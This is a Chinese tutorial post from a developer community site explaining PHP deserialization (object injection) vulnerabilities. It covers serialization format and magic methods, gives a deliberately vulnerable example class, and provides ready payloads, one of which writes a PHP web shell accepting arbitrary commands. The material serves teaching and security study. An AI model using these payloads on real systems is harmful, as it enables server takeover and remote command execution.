首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHP反序列化漏洞原理及示例

PHP反序列化漏洞原理及示例

原创
作者头像
小唐同学.
修改于 2022-06-06 01:55:16
修改于 2022-06-06 01:55:16
2.2K00
代码可运行
举报
文章被收录于专栏:CMS建站教程CMS建站教程
运行总次数:0
代码可运行

PHP反序列化

序列化与反序列化

序列化说通俗点就是把一个对象变成可以传输的字符串。

序列化过程中还会对不同属性的变量进行不同方式的变化

public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2 反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

PHP魔法函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__construct() #类的构造函数
__destruct() #类的析构函数,在对象被销毁时执行该函数
__call() #在对象中调用一个不可访问方法时调用
__callStatic() #用静态方式中调用一个不可访问方法时调用
__get() #获得一个类的成员变量时调用
__set() #设置一个类的成员变量时调用
__isset() #当对不可访问属性调用isset()或empty()时调用
__unset() #当对不可访问属性调用unset()时被调用。
__sleep() #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString() #类被当成字符串时的回应方法
__invoke() #调用函数的方式调用一个对象时的回应方法
__set_state() #调用var_export()导出类时,此静态方法会被调用。
__clone() #当对象复制完成时调用
__autoload() #尝试加载未定义的类
__debugInfo() #打印所需调试信息序列化结构

反序列化漏洞

简介

PHP)反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于JavaPython等语言之中,但其原理基本相通。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。 在反序列化的过程中自动触发了某些魔术方法。

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

示例
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
class demo{
 public $name;
 public $age;
 function __destruct(){
        $a = $this->name;
        $a($this->age);
 }
}
$h = new demo();
echo serialize($h);
unserialize($_GET['h']);
?>

payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}
传木马
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。

大致过程:

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Kotlin入门(18)利用单例对象获取时间
前面介绍了,使用扩展函数可以很方便地扩充数组Array的处理功能,例如交换两个数组元素、求数组的最大元素等等。那么除了数组之外,日期和时间的相关操作,也是很常见的,比如获取当前日期,获取当前时间、获取指定格式的日期时间等等。因此,基本上每个Java书写的Android工程,都需要一个类似DateUtil.java的工具类,用于获得不同格式的时间字符串,下面代码便是一个实现了基础时间拼接的日期工具类例子:
aqi00
2019/01/18
9960
银行转账电子回单生成器,转账虚拟生成器app,java框架开发版
下载地址:https://pan38.com/share.php?code=CxgFH
用户11701393
2025/06/13
2070
探索JAVA并发 - ThreadLocal
SimpleDateFormat是我们常用的日期格式化工具,但熟悉的朋友都知道它是线程不安全的。
acupt
2019/08/26
4240
SimpleDateFormat线程安全引发的事故以及解决方法
同事在多线程中使用了同一个日期的转换工具类,在运行过程中发现日志里偶现一些NumberFormatExcetion,刚开始他以为是数据问题,后来找我仔细分析日志,发现日期字符串存在丢失长度、长度不全等问题,判断是多线程导致,测试代码如下:
公众号 IT老哥
2022/09/19
3350
SimpleDateFormat线程安全引发的事故以及解决方法
腾讯面试居然跟我扯了半小时的CountDownLatch
一个长头发、穿着清爽的小姐姐,拿着一个崭新的Mac笔记本向我走来,看着来势汹汹,我心想着肯定是技术大佬吧!但是我也是一个才华横溢的人,稳住我们能赢。
万猫学社
2022/04/22
2200
腾讯面试居然跟我扯了半小时的CountDownLatch
常用的时间工具类
1.说明:收集一些常用的时间工具类,仅用作记录和学习交流。可以使用CTRL+F搜索关键字。
JaneYork
2023/10/11
2260
常用的时间工具类
Android MediaPlayer 音乐播放器扫描 本地音乐、上一曲、下一曲切歌、播放本地音乐
项目请在真机(自己的手机)上测试运行,因为我不喜欢用虚拟机。 为了不浪费您的时间,先看一下运行的效果图, 一进去先进行音乐扫描,然后列表展示出来,点击即可播放。
晨曦_LLW
2020/09/25
3.1K0
DateUtils(一个日期工具类)
用途:一些与时间相关的处理 功能: 1.获取当前时间 格式---->2019-08-04 13:30:29:getNowTime 2.将一个日期字符串转换成Data对象 string–>date:stringToDate 3将date转换成字符串 date—>string:dateToString 4.获取指定日期 ,返回值为: “周日”, “周一”, “周二”, “周三”, “周四”, “周五”, “周六”:getWeekOfDate 5.获取指定日期对应周几的序列:getIndexWeekOfDate 6.获取当前月份:getNowMonth 7.获取当前月号:getNowDay 8.获取当前年份:getNowYear 9.获取本月份的天数:getNowDaysOfMonth 10.获取指定月份的天数:daysOfMonth 11.计算两个日期之间的年份差距:getYearGapOfDates 12:计算两个日期之间的月份差距:getMonthGapOfDates 13.计算两个日期之间的天数差:getDaysGapOfDates
计蒙不吃鱼
2025/06/12
1200
Kotlin学习日志(四)函数
函数这个词相信各位不会陌生,而Kotlin中也是使用了众多函数的,正所谓面向函数编程。
晨曦_LLW
2020/09/25
2K0
深入理解Java:SimpleDateFormat安全的时间格式化
想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类用来对日期字符串进行解析和格式化输出,但如果使用不小心会导致非常微妙和难以调试的问题,因为 DateFormat 和 SimpleDateFormat 类不都是线程安全的,在多线程环境下调用 format() 和 parse() 方法应该使用同步代码来避免问题。下面我们通过一个具体的场景来一步步的深入学习和理解SimpleDateFormat类。
用户6182664
2019/09/05
1K0
Android发送验证码倒计时,时间倒计时
Demo地址:https://github.com/yechaoa/TimeDemo
yechaoa
2022/06/10
8470
Android发送验证码倒计时,时间倒计时
Java类库之日期操作类(核心)
在Java之中,如果要想表示出日期型,则使用java.util.Date类完成。 如果要想通过这个类取得当前的日期时间,那么只需要直接实例化Date类对象即可:public Date()。
葆宁
2019/04/18
8270
Java&Android获取当前日期、时间、星期几、获取指定格式的日期时间、时间戳工具类包含使用示例
时间格式内部其余的横线“-”、空格“ ”、冒号“:”、点号“.”等字符仅仅是连接符,方便观看各种单位的时间数字而已,国内,也可以使用形如“yyyy年dd日HHmm分ss秒”的时间格式。
晨曦_LLW
2020/09/25
6.2K0
Spring Boot调度
调度是执行特定时间段的任务的过程。Spring Boot为在Spring应用程序上编写调度程序提供了很好的支持。
黑洞代码
2021/09/03
4410
Spring Boot调度
java获取各种时间,及格式
一只牛博
2025/05/30
1220
再见!SimpleDateFormat
SimpleDateFormat is a concrete class for formatting and parsing dates in a locale-sensitive manner. It allows for formatting (date → text), parsing (text → date), and normalization.
用户5397975
2019/10/14
1K0
再见!SimpleDateFormat
Java基础系列之日期时间处理
林老师带你学编程
2018/01/03
9570
从入门到精通:SimpleDateFormat类高深用法,让你的代码更简洁!
咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE相关知识点了,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~
bug菌
2024/07/30
3440
从入门到精通:SimpleDateFormat类高深用法,让你的代码更简洁!
Android OkHttp+Retrofit+RxJava搭建网络访问框架(含源码)
  在实际开发APP中,网络访问是必不可少的,最开始访问网络是使用HttpURLConnection、而后面有了一些框架比如Volley、OkHttp、Retrofit等。那么你可能看到最多的是OkHttp,因为它很出名,Google也推荐你使用此框架进行网络访问。你可能会说Retrofit,Retrofit其实就是对OkHttp的二次封装。还有RxJava,这个又是用来干嘛的呢?为什么要将三者组合起来,组合有什么优势吗?带着这些问题看下去。
晨曦_LLW
2022/05/10
4K3
Android OkHttp+Retrofit+RxJava搭建网络访问框架(含源码)
java对时间的操作,提供给你工具类,直接调用方法就可以操作时间了
-创建 SimpleDateFormat 对象时必须指定转换格式。 -转换格式区分大小写,yyyy 代表年份,MM 代表月份,dd 代表日期,HH 代表 24 进制的小时,hh 代表 12 进制的小时,mm 代表分钟,ss 代表秒。
一写代码就开心
2020/11/20
3K0
java对时间的操作,提供给你工具类,直接调用方法就可以操作时间了
推荐阅读
相关推荐
Kotlin入门(18)利用单例对象获取时间
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验